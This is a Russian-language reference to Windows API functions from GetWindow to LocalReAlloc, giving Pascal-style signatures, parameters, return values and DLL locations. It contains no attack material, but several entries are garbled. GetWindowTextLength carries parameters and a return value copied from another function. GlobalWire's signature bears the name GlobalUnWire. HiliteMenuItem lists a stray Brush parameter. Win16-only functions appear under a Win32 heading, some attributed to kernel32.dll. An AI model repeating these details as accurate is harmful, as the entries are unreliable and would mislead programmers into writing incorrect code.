Функция GetWindow Описание: function GetWindow(Wnd: HWnd; Cmd: Word): HWnd; Считывает окно с отношением, указанным в Cmd, в окно, указанное в Wnd. Параметры: Wnd: Исходное окно. Cmd: Одна из следующих констант: gw_Child, gw_HWndFirst, gw_HWndLast, gw_HWndNext, gw_HWndPrev, gw_HWndOwner. См. раздел "Константы получения окна, gw_" в главе 1. Возвращаемое значение: Идентификатор окна или 0, если окно не найдено или в Cmd неверное значение. функция находится в файле user32.dll.
Функция GetWindowDC Описание: function GetWindowDC(Wnd: HWnd): HDC; Считывает контекст дисплея, обычно используемый для раскраски в окне областей, не являющихся областями пользователя. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Идентификатор контекста дисплея; 0 - если ошибка. См. также: ReleaseDC функция находится в файле user32.dll.
Функция GetWindowExt Описание: function GetWindowExt(DC: HDC): Longint; Считывает экстенты окна. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Экстенты X и Y (в логических единицах) в младшем и старшем словах, соответственно.
Функция GetWindowLong Описание: function GetWindowLong(Wnd: HWnd; Index: Integer): Longint; Считывает информацию об окне или о значениях дополнительного байта окна. Параметры: Wnd: Идентификатор окна. Index: Смещение в байтах или одна из следующих констант: gwl_ExStyle, gwl_Style или gwl_WndProc. См. раздел "Смещения поля окна, gwl_" в главе 1. Возвращаемое значение: Информация, характерная для окна. функция находится в файле user32.dll.
Функция GetWindowOrg Описание: function GetWindowOrg(DC: HDC): Longint; Считывает начало окна. Параметры: DC: Идентификатор контекста устройства. Возвращаемое значение: Координаты X и Y (в логических единицах) в младшем и старшем словах, соответственно.
Функция GetWindowRect Описание: function GetWindowRect(Wnd: HWnd; var Rect); Считывает в ARect размерности ограничивающего прямоугольника окна (в координатах экрана). Параметры: Wnd: Идентификатор окна. Rect: Принимающая структура TRect. функция находится в файле user32.dll.
Функция GetWindowsDirectory Описание: function GetWindowsDirectory(Buffer: PChar; Size: Word); Считывает в Buffer имя маршрута к каталогу Windows. Параметры: Buffer: Буфер для приема имени маршрута. Size: Размер Buffer (должен иметь длину не менее 144 байт). функция находится в файле kernel32.dll.
Функция GetWindowTask Описание: function GetWindowTask(Wnd: HWnd): THandle; Считывает идентификатор прикладной задачи окна. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Идентификатор задачи.
Функция GetWindowText Описание: function GetWindowText(Wnd: HWnd; Str: PChar; MaxCount: Integer): Integer; Копирует в Str заголовок окна или текст органа управления. Параметры: Wnd: Идентификатор окна или органа управления. Str: Буфер, принимающий строку. MaxCount: Размер буфера Str. Возвращаемое значение: Фактическое число скопированных байт или 0, если текст отсутствует. функция находится в файле user32.dll.
Функция GetWindowTextLength Описание: function GetWindowTextLength(Wnd: HWnd): Integer; Считывает длину заголовка окна или текста органа управления. Параметры: Wnd: Идентификатор окна. Index: Положительное смещение в байтах или одна из следующих констант: gww_HInstance, gww_HWndParent или gww_ID. См. раздел "Смещения поля окна, gww_" в главе 1. Возвращаемое значение: Значение слова. функция находится в файле user32.dll.
Функция GetWinFlags Описание: function GetWinFlags: Longint; Считывает флаги конфигурации памяти, с которыми работает Windows. Возвращаемое значение: Маска флагов, определяющая текущую конфигурацию памяти. Может включать wf_CPU286, wf_CPU386, wf_WIN286, wf_WIN386, wf_LargeFrame, wf_SmallFrame и wf_PMode. См. раздел "Флаги конфигурации памяти Windows, wf_" в главе 1.
Функция GlobalAddAtom Описание: function GlobalAddAtom(Str: PChar): TAtom; Добавляет Str в таблицу атомов, создавая новый глобальный атом. Параметры: Str: Строка, заканчивающаяся пустым символом. Возвращаемое значение: Вновь созданный атом; 0 - если ошибка. функция находится в файле kernel32.dll.
Функция GlobalAlloc Описание: function GlobalAlloc(Flags: Word; Bytes: Longint): THandle; Выделяет из глобальной кучи память по крайней мере запрошенного размера. Параметры: Flags: Маска флагов. Одна или несколько из следующих констант: gmem_DDEShare, gmem_Discardable, gmem_Fixed, gmem_Moveable, gmem_NoCompact, gmem_NoDiscard, gmem_NotBanked, gmem_Notify, gmem_ZeroInit. См. раздел "Флаги глобальной памяти, gmem_" в главе 1. Возвращаемое значение: Идентификатор выделенного блока глобальной памяти; 0 - если ошибка. функция находится в файле kernel32.dll.
Функция GlobalCompact Описание: function GlobalCompact(MinFree: Longint): Longint; Сжимает глобальную память и, если необъодимо, удаляет уничтожаемые сегменты для создания, если возможно, блока размера MinFree. Параметры: MinFree: Нужное число свободных байт или нуль, чтобы возвращался наибольший свободный сегмент, если все уничтожаемые сегменты удалены. Возвращаемое значение: Размер наибольшего свободного блока. функция находится в файле kernel32.dll.
Функция GlobalDeleteAtom Описание: function GlobalDeleteAtom(AnAtom: TAtom): TAtom; Уменьшает счетчик ссылок на атом на единицу, удаляя связанную с ним строку из таблицы атомов, если счетчик ссылок на атом становится равным нулю. Параметры: AnAtom: Идентификатор атома. Возвращаемое значение: В случае успешного завершения - 0; в противном случае - AnAtom. функция находится в файле kernel32.dllФункция GlobalFindAtom Описание: function GlobalFindAtom(Str: PChar): Atom; Считывает глобальный атом, связанный с Str. Параметры: Str: Строка поиска (заканчивающаяся пустым символом). Возвращаемое значение: Глобальный атом; 0 - если атом в таблице не найден. функция находится в файле kernel32.dll.
Функция GlobalFix Описание: function GlobalFix(Mem: THandle); Фиксирует блок глобальной памяти в памяти и увеличивает его счетчик захватов на 1. Параметры: Mem: Идентификатор блока глобальной памяти. См. также: GlobalUnifix функция находится в файле kernel32.dll.
Функция GlobalFlags Описание: function GlobalFlags(Mem: THandle): Word; Считывает информацию о Mem. Параметры: Mem: Идентификатор блока глобальной памяти. Возвращаемое значение: gmem_DDEShare, gmem_Discardable, gmem_Discarded или gmem_NotBanked в старшем байте и счетчик захватов в младшем байте. См. раздел "Флаги глобальной памяти, gmem_" в главе 1. функция находится в файле kernel32.dll.
Функция GlobalFree Описание: function GlobalFree(Mem: THandle): THandle; Освобождает разблокированный блок глобальной памяти и делает недействительным его описатель. Параметры: Mem: Идентификатор блока глобальной памяти. Возвращаемое значение: В случае успешного завершения - нуль; если нет, то Mem. функция находится в файле kernel32.dll.
Функция GlobalGetAtomName Описание: function GlobalGetAtomName(AnAtom: TAtom, Buffer: PChar; Size: Integer): Word; Копирует строку связанную с AnAtom, в Buffer. Параметры: AnAtom: Идентификатор атома. Buffer: Принимающий буфер. Size: Размер буфера в байтах. Возвращаемое значение: Фактическое число скопированных байт; 0 - если AnAtom не является допустимым. функция находится в файле kernel32.dll.
Функция GlobalHandle Описание: function GlobalHandle(Mem: Word): Longint; Считывает описатель объекта глобальной памяти с указанным адресом сегмента. Параметры: Mem: Адрес сегмента. Возвращаемое значение: Описатель и адрес сегмента в младшем и старшем слове, соответственно, 0 - если не существует. функция находится в файле kernel32.dll.
Функция GlobalLock Описание: function GlobalLock(Mem: THandle): Pointer; Увеличивает счетчик ссылок блока глобальной памяти и возвращает указатель на него. Параметры: Mem: Идентификатор блока глобальной памяти. Возвращаемое значение: В случае успешного завершения - адрес блока памяти, nil - в противном случае. функция находится в файле kernel32.dll.
Функция GlobalLRUNewest Описание: function GlobalLRUNewest(Mem: THandle): THandle; Минимизирует вероятность того, что объект глобальной памяти будет уничтожен при его перемещении в самую новую использованную последней позицию памяти. Параметры: Mem: Идентификатор объекта глобальной памяти. Возвращаемое значение: 0 - в случае неверного Mem.
Функция GlobalLRUOldest Описание: function GlobalLRUOldest(Mem: THandle): THandle; Максимизирует вероятность того, что объект глобальной памяти будет уничтожен при его перемещении в самую старую использованную последней позицию паямти. Параметры: Mem: Идентификатор объекта глобальной памяти. Возвращаемое значение: 0 - в случае неверного Mem.
Функция GlobalNotify Описание: function GlobalNotify(NotifyProc: TFarProc); Вызывает NotifyProc, передавая ее описатель уничтожаемого блока глобальной памяти. Если NotifyProc возвращает не нуль, то блок уничтожен. Параметры: NotifyProc: Адрес экземпляра процедуры уведомления обратного вызова.
Функция GlobalPageLock Описание: function GlobalPageLock(Selector: THandle): Word; Увеличивает счетчик захвата страниц блока памяти. Операции захвата могут быть вложенными. Параметры: Selector: Селектор памяти. Возвращаемое значение: В случае успешного завершения - увеличенный счетчик захвата страниц; 0 - в противном случае. См. также: GlobalPageUnlock.
Функция GlobalPageUnlock Описание: function GlobalPageUnlock(Selector: THandle): Word; Уменьшает счетчик захвата страниц блока памяти. Если счетчик достигает нуля, то страница может быть перемещена или подкачена на диск. Параметры: Selector: Селектор памяти. Возвращаемое значение: В случае успешного завершения - уменьшенный счетчик захвата страниц; 0 - в противном случае. См. также: GlobalPageLock.
Функция GlobalReAlloc Описание: function GlobalReAlloc(Mem: THandle; Bytes: Longint; Flags: Word): THandle; Переопределяет размер блока глобальной памяти до размера Byte. Параметры: Mem: Идентификатор блока глобальной памяти. Byte: Размер Mem в байтах. Flags: Одна или несколько из следующих констант: gmem_Discardable, gmem_Moveable, gmem_NoCompact, gmem_NoDiscard, gmem_Notify, gmem_ZeroInit. См. раздел "Флаги глобальной памяти, gmem_" в главе 1. Возвращаемое значение: Идентификатор переопределенного блока глобальной памяти; 0 - если ошибка. функция находится в файле kernel32.dll.
Функция GlobalSize Описание: function GlobalSize(Mem: THandle): Longint; Считывает текущий размер блока глобальной памяти. Параметры: Mem: Идентификатор блока глобальной памяти. Возвращаемое значение: Фактический размер (в байтах); 0 - если Mem неверный или уничтожен. функция находится в файле kernel32.dll.
Функция GlobalUnfix Описание: function GlobalUnfix(Mem: THandle): Bool; Разблокирует блок глобальной памяти, блокированный с помощью GlobalFix. Если счетчик захватов блока достигает нуля, то блок может быть перемещен или уничтожен. Параметры: Mem: Идентификатор блока глобальной памяти. Возвращаемое значение: Нуль, если счетчик захватов блока уменьшился до нуля; не нуль, если нет. См. также: GlobalFix функция находится в файле kernel32.dll.
Функция GlobalUnlock Описание: function GlobalUnlock(Mem: THandle): Bool; Разблокирует блок глобальной памяти, блокированный с помощью GlobalLock. Если счетчик захватов блока достигает нуля, то блок может быть перемещен или уничтожен. Параметры: Mem: Идентификатор блока глобальной памяти. Возвращаемое значение: Нуль, если счетчик захватов блока уменьшился до нуля; не нуль, если нет. функция находится в файле kernel32.dll.
Функция GlobalUnWire Описание: function GlobalUnWire(Mem: THandle): Bool; Разблокирует сегмент памяти, блокированный с помощью GlobalWire. Параметры: Mem: Идентификатор сегмента. Возвращаемое значение: Не нуль, если сегмент разблокирован; нуль, если нет. функция находится в файле kernel32.dll.
Функция GlobalWire Описание: function GlobalUnWire(Mem: THandle): PChar; Перемещает сегмент, который должен быть захвачен на продолжительный период, в младшие адреса памяти и блокирует его. Параметры: Mem: Идентификатор сегмента. Возвращаемое значение: В случае успешного завершения - новое положение сегмента; nil - в противном случае. функция находится в файле kernel32.dll.
Функция GrayString Описание: function GrayString(DC: HDC; Brush: HBrush; OutputFunc: TFarProc; Data: Longint; Count, X, Y, Width, Height: Integer): Bool; Рисует серый текст, используя текущий выбранный шрифт, путем вызова OutputFunc и передачи ей в качестве параметров DC (с картой бит высотой Height и шириной Width), Data и Count. Параметры: DC: Идентификатор контекста устройства. Brush: HBrush, используемая для затенения. OutputFunc: Адрес экземпляра процедуры функции рисования или nil для использования TextOut. Data: Данные, передаваемые в OutputFunc, или строка, если OutputFunc=0. Count: Размер Data или нуль и Data является строкой для вычисления длины; или -1 и OutputFunc возвращает нуль и образ отображается, но не показывается. X, Y: Начальная логическая позиция замыкающего прямоугольника. Width: Ширина (в логических единицах) замыкающего прямоугольника или нуль и Data является строкой для вычисления ширины. Height: Высота (в логических единицах) замыкающего прямоугольника или нуль и Data является строкой для вычисления высоты. Возвращаемое значение: Не нуль в случае успешного завершения; нуль, если функция вывода вернула нуль или не хватает памяти для создания карты бит. См. также: GetSysColor, SerTextColor, color_Graytext, mm_Text функция находится в файле user32.dll.
Функции Win32 API [ H ].
Функция HideCaret Описание: function HideCaret(Wnd: HWnd); Удаляет, не разрушая, вставку с экрана дисплея. Параметры: Wnd: Окно, владеющее вставкой, или нуль, если владеющее окно находится в текущей задаче. См. также: ShowCaret функция находится в файле user32.dllФункция HiliteMenuItem Описание: function HiliteMenuItem(Wnd: HWnd; Menu: HMenu; IDHilite, Hilite: Word): Bool; Подсвечивает или снимает подсвечивание с элемента меню верхнего уровня. Параметры: Wnd: Идентификатор окна. Menu: Идентификатор меню верхнего уровня. Brush: HBrush, используемая для затенения. IDHilite: Целочисленный идентификатор или положение элемента меню. Hilite: Комбинация флагов mf_ByCommand или mf_ByPosition с mf_Hilite или mf_Unhilite. См. раздел "Флаги меню, mf_" в главе 1. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле user32.dll.
Функции Win32 API [ I ].
Функция InflateRect Описание: function InflateRect(var Rect: TRect; X, Y: Integer); Модифицирует высоту и ширину Rect. Прибавляет X к левому и правому концам, а Y - к верхнему и нижнему концам прямоугольника. Параметры: Rect: Структура TRect. X: Положительное или отрицательное значение для изменения ширины прямоугольника. Y: Положительное или отрицательное значение для изменения высоты прямоугольника. функция находится в файле user32.dll
Функция InitAtomTable Описание: function InitAtomTable(Size: Integer): Bool; Инициализирует таблицу смеси атомов и устанавливает ее размер (по умолчанию, 37). Параметры: Size: Число элементов в таблице смеси атомов (должна быть первичной). Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле kernel32.dll
Функция InSendMessage Описание: function InSendMessage: Bool; Определяет, обрабатывается ли сообщение, посланное через вызов SendMessage, текущей оконной функцией. Возвращаемое значение: Не нуль, если сообщение послано функцией SendMessage; 0 - в противном случае. функция находится в файле user32.dll
Функция InsertMenu Описание: function InsertMenu(Menu: HMenu; Position, Flags, IDNewItem: Word; NewItem: PChar): Bool; Вставляет новый элемент меню, состояние которого определяет значением Flags. Параметры: Menu: Идентификатор меню. Position: Идентификатор команды или положение элемента меню, после которого вставляется новый элемент меню, или -1 для присоединения в конец. Flags: mf_ByCommand или mf_ByPosition в комбинации со следующими константами: mf_Bitmap, mf_Checked, mf_MenuBarBreak mf_MenuBreak, mf_OwnerDraw, mf_Popup, mf_Separator, mf_String, mf_UnChecked. См. раздел "Флаги меню mf_" в главе 1. IDNewItem: Идентификатор команды нового элемента меню или описатель меню в случае всплывающего меню. NewItem: Содержимое нового элемента меню. Возвращаемое значение: Не нуль в случае успешного завершения; нуль - в противном случае. См. также: DrawMenuBar, wm_DrawItem, wm_MeasureItem функция находится в файле user32.dll
Функция IntersectClipRect Описание: function IntersectClipRect(DC: HDC; X1, Y1, X2, Y2: Integer): Integer; Создает новую область вырезания из пересечения области с указанным прямоугольником. Параметры: DC: Идентификатор контекста устройства. X1, Y1: Верхний левый угол прямоугольника. X2, Y2: Нижний правый угол прямоугольника. Возвращаемое значение: Тип новой области: ComplexRegion, Error, NullRegion, SimpleRegion. См. раздел "Флаги областей" в главе 1. функция находится в файле gdi32.dll
Функция IntersectRect Описание: function IntersectRect(var DestRect; Src1Rect, Src2Rect: LPRect): Integer; Определяет пересечение двух прямоугольников. Параметры: DestRect: Структура TRect, представляющая результирующий прямоугольник. Src1Rect: Структура TRect, представляющая исходный прямоугольник 1. Src2Rect: Структура TRect, представляющая исходный прямоугольник 2. Возвращаемое значение: Не нуль, если пересечение непусто; 0 - в противном случае. функция находится в файле user32.dll.
Функция InvalidateRect Описание: function InvalidateRect(Wnd: HWnd; Rect: LPRect; Erase: Bool); Делает недостоверной область пользователя в окне, добавляя Rect к области обновления окна. Параметры: Wnd: Идентификатор окна. Rect: TRect (в координатах пользователя), добаляемая к области обновления или nil для всей области пользователя. Erase: Не нуль для BeginPaint, стирающей фон. См. также: ValidateRect, ValidateRgn, wm_Paint функция находится в файле user32.dll.
Функция InvalidateRgn Описание: function InvalidateRgn(Wnd: HWnd; Rgn: HRgn; Erase: Bool); Делает недостоверной область пользователя в окне, добавляя Rgn к области обновления окна. Параметры: Wnd: Идентификатор окна. Rgn: Идентификатор области (в координатах пользователя). Erase: Не нуль для BeginPaint, стирающей фон. См. также: ValidateRect, ValidateRgn, wm_Paint функция находится в файле user32.dll.
Функция InvertRect Описание: function InvertRect(DC: HDC; var Rect: TRect); Инвертирует цвета прямоугольника, определяемого Rect. Параметры: DC: Идентификатор контекста устройства. Rect: Структура TRect (в логических координатах). функция находится в файле user32.dll.
Функция InvertRgn Описание: function InvertRgn(DC: HDC; var Rgn: HRgn): Bool; Инвертирует цвета области, определяемой Rgn. Параметры: DC: Идентификатор контекста устройства. Rect: Идентификатор области (в единицах устройства). Возвращаемое значение: Не нуль в случае успешного завершения; 0 - в противном случае. функция находится в файле gdi32.dll.
Функция IsCharAlpha Описание: function IsCharAlpha(AChar: Char): Bool; Использует языковый драйвер и текущий язык для определения того, является ли Alpha буквенным. Параметры: AChar: Проверяемый символ. Возвращаемое значение: Не нуль, если символ буквенный; 0 - в противном случае. функция находится в файле user32.dll
Функция IsCharAlphaNumeric Описание: function IsCharAlphaNumeric(AChar: Char): Bool; Использует языковый драйвер и текущий язык для определения того, является ли Alpha алфавитно-цифровым. Параметры: AChar: Проверяемый символ. Возвращаемое значение: Не нуль, если символ алфавитно-цифровой; 0 - в противном случае. функция находится в файле user32.dll.
Функция IsCharLower Описание: function IsCharLower(AChar: Char): Bool; Использует языковый драйвер и текущий язык для определения того, является ли Alpha символом нижнего регистра. Параметры: AChar: Проверяемый символ. Возвращаемое значение: Не нуль, если символ нижнего регистра; 0 - в противном случае. функция находится в файле user32.dll.
Функция IsCharUpper Описание: function IsCharUpper(AChar: Char): Bool; Использует языковый драйвер и текущий язык для определения того, является ли Alpha символом верхнего регистра. Параметры: AChar: Проверяемый символ. Возвращаемое значение: Не нуль, если символ верхнего регистра; 0 - в противном случае. функция находится в файле user32.dll.
Функция IsChild Описание: function IsChild(Parent, Wnd: HWnd): Bool; Проверяет, является ли окно Wnd дочерним окном для Parent. Параметры: Parent: Идентификатор окна. Wnd: Проверяемое окно. Возвращаемое значение: Не нуль, если окно дочернее; 0 - в противном случае. функция находится в файле user32.dll.
Функция IsClipboardFormatAvailable Описание: function IsClipboardFormatAvailable(Format: Word): Bool; Определяет, имеются ли в буфере вырезанного изображения данные в указанном формате. Параметры: Format: Зарегистрированный формат буфера вырезанного изображения. Одна из констант cf_. См. раздел "Форматы буфера вырезанного изображения, cf_" в главе 1. Возвращаемое значение: Не нуль, если имеются данные в формате Format; 0 - нет. функция находится в файле user32.dll
Функция IsDialogMessage Описание: function IsDialogMessage(Dlg: HWnd; var Msg: TMsg): Bool; Определяет и обрабатывает сообщения для безрежимных блоков диалога, прееобразуя сообщения от клавиатуры в командные сообщения. Параметры: Dlg: Идентификатор блока диалога. Msg: Структура TMsg. Возвращаемое значение: Не нуль, если сообщение обработано (TranslateMessage и DispatchMessage не должны вызываться); 0 - если нет. функция находится в файле user32.dll.
Функция IsDlgButtonChecked Описание: function IsDlgButtonChecked(Dlg: HWnd; IDButton: Integer): Word; Определяет, отмечен или нет блок управления кнопки. Параметры: Dlg: Идентификатор блока диалога. IDButton: Идентификатор блока управления кнопки. Возвращаемое значение: Не нуль, если отмечен; 0 - если нет. Для кнопок с тремя состояниями возвращается 2 - затенен; 1 - отмечен или 0. функция находится в файле user32.dll
Функция IsIconic Описание: function IsIconic(Wnd: HWnd): Bool; Определяет, является ли окно пиктограммой (минимизированным). Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Не нуль, если минимизировано; 0 - если нет. функция находится в файле user32.dll
Функция IsRectEmpty Описание: function IsRectEmpty(var Rect: TRect): Bool; Определяет, равна ли нулю ширина и/или высота прямоугольника. Параметры: Rect: Структура TRect. Возвращаемое значение: Не нуль, если пустой; 0 - если нет. функция находится в файле user32.dll
Функция IsWindow Описание: function IsWindow(Wnd: HWnd): Bool; Определяет, является ли окно допустимым существующим окном. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Не нуль, если окно достоверно; 0 - если нет. функция находится в файле user32.dll
Функция IsWindowEnabled Описание: function IsWindowEnabled(Wnd: HWnd): Bool; Определяет, является ли окно разрешенным для ввода с мыши и с клавиатуры. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Не нуль, если окно разрешено; 0 - если нет. функция находится в файле user32.dll
Функция IsWindowVisible Описание: function IsWindowVisible(Wnd: HWnd): Bool; Определяет, сделано ли окно видимым функцией ShowWindow. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Не нуль, если окно существует на экране (даже если полностью закрыто); 0 - если нет. функция находится в файле user32.dll.
Функция IsZoomed Описание: function IsZoomed(Wnd: HWnd): Bool; Определяет, является ли окно максимизированным. Параметры: Wnd: Идентификатор окна. Возвращаемое значение: Не нуль, если окно максимизировано; 0 - если нет. функция находится в файле user32.dll.
Функции Win32 API [ K ].
Функция KillTimer Описание: function KillTimer(Wnd: HWnd, IDEvent: Integer): Bool; Уничтожает событие таймера, удаляя из очереди сообщений любые связанные с ним сообщения wm_Timer. Параметры: Wnd: Идентификатор окна. IDEvent: Идентификатор события таймера. Возвращаемое значение: Не нуль в случае успешного завершения; 0 - если неверный IDEvent. См. также: SetTimer функция находится в файле user32.dll.
Функции Win32 API [ L ].
Функция LimitEmsPages Описание: function LimitEmsPages(KBytes: Longint); Ограничивает число килобайт расширенной памяти, которое Windows назначает прикладной задаче при работе в конфигурации с расширенной памятью. Параметры: KByte: Число килобайт.
Функция LineDDA Описание: function LineDDA(X1, Y1, X2, Y2: Integer; LineFunc: TFarProc; Data: Pointer); Вычисляет все последовательные точки в линии и вызывает LineFunc, передавая ей координаты X и Y точки и Data. Параметры: X1, Y1 - первая точка в линии. X2, Y2 - последняя точка в линии. LineFunc: Адрес экземпляра процедуры функции обратного вызова. Data: Данные, передаваемые функции, заданной параметром LineFunc. функция находится в файле gdi32.dll.
Функция LineTo Описание: function LineTo(DC: HDC; X, Y: Integer): Bool; Рисует линию, используя выбранное перо, с текущей позиции до указанной конечной точки. Параметры: DC: Идентификатор контекста устройства. X, Y: Конечная точка линии. Возвращаемое значение: Не нуль, если нарисована; 0 - если нет. функция находится в файле gdi32.dll.
Функция llseek Описание: function _llseek(FileHandle: Integer; Offset: Longint; Origin: Integer): Longint; Устанавливает указатель в открытом файле. Параметры: FileHandle: Описатель файла DOS. Offset: Число байт, на которое перемещается указатель. Origin: Указывает начальную точку и направление перемещения: (0) вперед от начала; (1) с текущей позиции; (2) назад от конца файла. Возвращаемое значение: Новое смещение указателя; -1 - в случае неуспешного завершения.
Функция LoadAccelerator Описание: function LoadAccelerator(Instance: THandle; TableName: PChar): THandle; Загружает поименованный файл акселераторов из исполнимого файла. Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит таблицу акселераторов. TableName: Имя таблицы акселераторов (заканчивающееся пустым символом) или целочисленный идентификатор. Возвращаемое значение: В случае успешного завершения - идентификатор таблицы акселераторов; 0 - в противном случае.
Функция LoadBitmap Описание: function LoadBitmap(Instance: THandle; BitmapName: PChar): HBitmap; Загружает поименованный ресурс карты бит. Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит карту бит или 0 для предопределенной карты бит. BitmapName: Строка (заканчивающаяся пустым символом) или целочисленный идентификатор, определяющий карту бит, или предопределенная карта бит, определенная константой obm_. См. раздел "Предопределенные карты бит, obm_" в главе 1. Возвращаемое значение: В случае успешного завершения - идентификатор карты бит; 0 - в противном случае. функция находится в файле user32.dll
Функция LoadCursor Описание: function LoadCursor(Instance: THandle; CursorName: PChar): HCursor; Загружает поименованный ресурс курсора. Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит курсор или 0 для предопределенного курсора. CursorName: Строка (заканчивающаяся пустым символом) или имя целочисленного идентификатора или предопределенный курсор, определенный одной из констант idc_. См. раздел "Идентификаторы стандарных курсоров, idc_" в главе 1. Возвращаемое значение: В случае успешного завершения - идентификатор курсора; 0 - если курсор не найден; не определено, если ресурс не является ресурсом курсора. функция находится в файле user32.dll
Функция LoadIcon Описание: function LoadIcon(Instance: THandle; IconName: PChar): HIcon; Загружает поименованный ресурс пиктограммы. Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит пиктограмму или 0 для предопределенной пиктограммы. IconName: Строка или имя целочисленного идентификатора или предопределенная пиктограмма, определенная одной из констант idi_. См. раздел "Идентификаторы стандарных пиктограмм, idi_" в главе 1. Возвращаемое значение: В случае успешного завершения - идентификатор пиктограммы; 0 - в противном случае. функция находится в файле user32.dll
Функция LoadLibrary Описание: function LoadLibrary(LibFileName: PChar): THandle; Загружает поименованный модуль библиотеки. Параметры: LibFileName: Имя файла библиотеки (заканчивающееся пустым символом). Возвращаемое значение: В случае успешного завершения - идентификатор экземпляра модуля библиотеки (значение, больше 32); если нет, то его значение меньше 32 и является одним из следующих: (0) нет памяти; (5) попытка связать задачу; (11) неверный файл EXE; (12) прикладная задача из OS/2; (13) прикладная задача из DOS 4.0; (14) неверный тип EXE; (15) незащищенный режим. функция находится в файле kernel32.dll
Функция LoadMenu Описание: function LoadMenu(Instance: THandle; MenuName: PChar): HMenu; Загружает поименованный ресурс меню. Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит меню. MenuName: Строка (заканчивающаяся пустым символом) или имя целочисленного идентификатора меню. Возвращаемое значение: В случае успешного завершения - идентификатор меню; 0 - в противном случае. функция находится в файле user32.dll
Функция LoadMenuIndirect Описание: function LoadMenuIndirect(var MenuTemplate): HMenu; Загружает меню, определенное параметром MenuTemplate. Параметры: MenuTemplate: Массив структур TMenuTemplate. Возвращаемое значение: В случае успешного завершения - идентификатор меню; 0 - в противном случае. функция находится в файле user32.dll
Функция LoadModule Описание: function LoadModule(ModuleName: PChar; ParameterBlock: Pointer): THandle; Загружает и выполняет прикладную задачу Windows. Параметры: ModuleName: Имя файла прикладной задачи (заканчивающееся пустым символом). ParameterBlock: Структура из четырех полей: Word, адрес сегмента среды или нуль для среды Windows; CmdLine: Longint, командная строка; CmdShow: Longint, структура, длина которой составляет 2 * слова; первое слово должно быть равно 2; второе - в значение CmdShow или ShowWindow; Reserved: Longint, должно быть нулем. Возвращаемое значение: То же, что и в случае LoadLibrary. См. также: WinExe функция находится в файле kernel32.dll
Функция LoadResource Описание: function LoadResource(Instance, ResInfo: THandle): THandle; Распределяет память и загружает ресурс. Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит ресурс. ResInfo: Идентификатор ресурса, возвращаемый FindResource. Возвращаемое значение: В случае успешного завершения - идентификатор ресурса; 0 - в противном случае. См. также: LockResource функция находится в файле kernel32.dll
Функция LoadString Описание: function LoadString(Instance: THandle; ID: Word; Buffer: PChar; BufferMax: Integer): Integer; Загружает поименованный ресурс строки и копирует ее в Buffer, присоединяя в конец пустой символ. Параметры: Instance: Экземпляр модуля, исполнимый файл которого содержит строку. ID: Целочисленный идентификатор строки. Buffer: Принимающий буфер. BufferMax: Размер буфера. Возвращаемое значение: Фактическое число скопированных байт; 0 - если не существует. функция находится в файле user32.dll
Функция LocalAlloc Описание: function LocalAlloc(Flags, Bytes: Word): THandle; Выделяет из локальной кучи память под блок локальной памяти. Фактический размер может быть больше, чем указанный. Параметры: Flags: Одна или несколько из следующих констант: lmem_Discardable, lmem_Fixed, lmem_Modify, lmem_Moveable, lmem_NoCompact, lmem_NoDiscard и lmem_ZeroInit. См. раздел "Флаги локальной памяти, lmem_" в главе 1. Bytes: Размер выделяемого блока в байтах. Возвращаемое значение: Идентификатор выделенного блока локальной памяти; 0 - если ошибка. функция находится в файле kernel32.dll
Функция LocalCompact Описание: function LocalCompact(MinFree: Word): Word; Генерирует свободный блок размером не менее MinFree. Если нужно, функция будет перемещать и/или уничтожать разблокированные блоки. Параметры: MinFree: Нужное число свободных байт или нуль, чтобы возвращался наибольший непрерывный блок. Возвращаемое значение: Размер наибольшего блока в байтах. функция находится в файле kernel32.dll
Функция LocalFlags Описание: function LocalFlags(Mem: THandle): Word; Считывает информацию о блоке памяти Mem. Параметры: Mem: Идентификатор блока локальной памяти. Возвращаемое значение: lmem_Discardable или lmem_Discarded в старшем байте и счетчик захватов в младшем байте. См. раздел "Флаги локальной памяти, lmem_" в главе 1. функция находится в файле kernel32.dll
Функция LocalFree Описание: function LocalFree(Mem: THandle): THandle; Освобождает блок локальной памяти и делает недействительным его описатель. Параметры: Mem: Идентификатор блока локальной памяти. Возвращаемое значение: В случае успешного завершения - нуль; если нет, то Mem. функция находится в файле kernel32.dll
Функция LocalHandle Описание: function LocalHandle(Mem: Word): THandle; Считывает описатель объекта локальной памяти по указанному адресу. Параметры: Mem: Адрес объекта локальной памяти. Возвращаемое значение: Идентификатор объекта локальной памяти.
Функция LocalInit Описание: function LocalInit(Segment, Start, End: Word): Bool; Инициализирует локальную кучу и вызывает LocalLock для захвата сегмента. Параметры: Segment: Адрес сегмента локальной кучи. Start: Адрес смещения для начала локальной кучи. End: Адрес смещения для конца локальной кучи. Возвращаемое значение: Не нуль, если инициализирована, 0 - если нет.
Функция LocalLock Описание: function LocalLock(Mem: THandle): Pointer; Блокирует Mem и увеличивает его счетчик захватов. Блок не может быть перемещен или уничтожен. Параметры: Mem: Идентификатор блока локальной памяти. Возвращаемое значение: В случае успешного завершения - указатель на блок, nil - в противном случае. функция находится в файле kernel32.dll
Функция LocalReAlloc Описание: function LocalReAlloc(Mem: THandle; Bytes, Flags: Word): THandle; Изменяет размер и атрибуты, указанные параметром Flags, блока локальной памяти. Параметры: Mem: Идентификатор блока локальной памяти. Bytes: Новый размер блока Mem в байтах. Flags: Одна или несколько из следующих констант: lmem_Discardable, lmem_Moveable, lmem_NoCompact, lmem_NoDiscard, lmem_Notify, lmem_ZeroInit. См. раздел "Флаги локальной памяти, lmem_" в главе 1. Возвращаемое значение: В случае успешного завершения - идентификатор блока локальной памяти; 0 - если ошибка. функция находится в файле kernel32.dll
